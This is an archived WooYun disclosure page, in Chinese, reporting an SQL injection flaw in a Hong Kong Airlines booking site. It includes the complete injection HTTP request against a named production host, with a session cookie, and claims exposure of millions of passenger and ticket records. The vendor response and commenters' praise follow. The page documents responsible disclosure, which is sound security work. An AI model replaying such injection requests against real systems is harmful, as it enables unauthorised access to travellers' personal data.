当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148931

漏洞标题：香港航空某站SQL注入（涉及156万乘客信息/268万机票信息/八千多员工信息）

相关厂商：香港航空

漏洞作者： 深度安全实验室

提交时间：2015-10-23 16:50

修复时间：2015-12-12 10:02

公开时间：2015-12-12 10:02

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-23： 细节已通知厂商并且等待厂商处理中
2015-10-28： 厂商已经确认，细节仅向厂商公开
2015-11-07： 细节向核心白帽子及相关领域专家公开
2015-11-17： 细节向普通白帽子公开
2015-11-27： 细节向实习白帽子公开
2015-12-12： 细节向公众公开

简要描述：

如题

详细说明：

如下链接存在SQL注射，其中type参数有问题

POST /hxuo/frontNews.do HTTP/1.1
Content-Length: 186
Content-Type: application/x-www-form-urlencoded
Referer: http://cn.hx.travelsky.com:80/hxuo/index.jsp
Cookie: Webtrends=210.74.157.98.1445570164243523; JSESSIONID=0000WIFdbLioQipJBhqS1K6cm-J:17724njt4; BIGipServerpool_book.hongkongairlines_122.119.122.59=947550074.20480.0000
Host: cn.hx.travelsky.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
actiontype=showNewsListByType&id=1334&language=0&nextpage=%cf%c2%d2%bb%ed%93&pageCount=2&prepage=%c9%cf%d2%bb%ed%93&totalCount=51&type=%5c&where=and%201%3d1%20order%20by%20News.Id%20DESC

111.png

漏洞证明：

涉及四个库

222.png

以HXI18N库为例，64张表

555.png

涉及268万机票信息，156万乘客信息等

666.png

777.png

888.png

51万订单信息：香港是国际机场，好多外国友人的订单信息

999.png

FRONT_USER表包含八千多员工

101010.png

修复方案：

版权声明：转载请注明来源 深度安全实验室@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-10-28 10:00

厂商回复：

谢谢，我们将立即安排整改。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-10-23 16:52 | xsser 认证白帽子 ( 普通白帽子 | Rank:267 漏洞数:20 | 当我又回首一切,这个世界会好吗?)

    NB

  2. 2015-10-23 16:54 | 深度安全实验室 ( 核心白帽子 | Rank:2625 漏洞数:448 )

    @xsser 汗啊，惊动老大啦，罪过罪过啊

  3. 2015-10-28 10:12 | 土夫子 ( 普通白帽子 | Rank:359 漏洞数:66 | 你怎样看世界，世界就怎样看你)

    666666666666666